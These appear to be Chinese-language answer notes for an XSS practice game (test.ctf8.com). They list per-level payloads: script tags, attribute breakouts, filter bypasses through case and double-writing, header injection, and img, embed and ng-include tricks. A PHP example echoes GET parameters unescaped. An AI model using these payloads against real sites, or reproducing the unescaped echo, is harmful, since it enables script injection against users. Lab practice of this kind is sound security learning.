xss
小游戏答案
url：http://test.ctf8.com/level1.php?name=test
payload：
<script>alert("'test'")</script>"><script>alert("'test'")</script>' onclick=alert("'test'") '" onclick=alert("'test'") ""><a href=javascript:alert("'test'")>test</a>"><scRipt>alert("'test'")</sCript>"><scriscriptpt>alert("'test'")</scriscriptpt>javascript:alert(1)javascript:alert(1)/* http://test*/?keyword=123&t_link=123&t_history=123&t_sort=test" onclick=alert("'test'") type="textReferer: test" onclick=alert("'test'") type="textUser-Agent:test" onclick=alert("'test'") type="textCookie: user=test" onclick=alert("'test'") type="text- 据说是一个图片中的exif信息，但是网址已失效；
level15.php?src='level1.php?name=<img src=x onerror=alert(1)>'level16.php?keyword=<img%0asrc=x%0aonerror=alert("'test'")>level17.php?arg01=a&arg02= onmouseover=alert("'test'")level18.php?arg01= onmouseover=alert("'test'")&arg02=b- flash xss
- flash xss
页面提交参数的方式：
源码：get.php
<?php
echo "<h2>php变量提交get参数：</h2>";
$str = $_GET["name"];
$str2 = $_GET["sex"];
echo "<h2>form表单提交get参数</h2>".'
<center>
<form id=form>
<p>姓名：</p><input name="name" value="'.'" type="text">
<p>input通过php接收姓名参数：</p><input name="form" value="'.$str.'" type="text">
<p>直接接收php性别参数</p><input name="form2" value="'.$str2.'" type="text">
<input type="submit" value="提交"/>
</form>
</center>';
?>url中显示的参数：?name=xiaoming&form=&form2=
未显示参数：&sex=
除了通过php传递，还可通过js传递；
能显示在url中的参数之后form表单中name属性定义的，php定义的需要手动添加，或者链接到form表单上；
技巧
编码网站：http://monyer.com/demo/monyerjs/
<embed>标签
embed可以用来插入各种多媒体，格式可以是 Swf、Midi、Wav、AIFF、AU、MP3等等，Netscape及新版的IE 都支持。src为音频或视频文件及其路径，可以是相对路径或绝对路径。
支持事件属性；
弹窗方式：
<embed src=level16.png onmouseover=alert(1) width=100% heigth=100%>
<embed src=son.html onmouseover=alert(1) width=100% heigth=100%>
AngularJS中的ng-include
- 是否是在服务器上运行的。（注意不是服务器上，直接打开HTML文件是不行的）
- 文件路径是否对，如果是同一文件夹中，这样写：（注意其中的“”中间还有个‘’）
- ng-controller="myCtrl"是不是正确，如果没有对应的controller
- 组件
<script src="http://apps.bdimg.com/libs/angular.js/1.4.6/angular.min.js"></script>
fath.html内容:
<head>
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
</head>
<body>
<div ng-include="'son.html'"></div>
<!-- 路径里面必须带上单引号 -->
<!-- 注意：如果 ng-controller没有对应的方法，就不要写了，会报错-->
</body>son.html内容:
Hello world服务器端访问fath.html；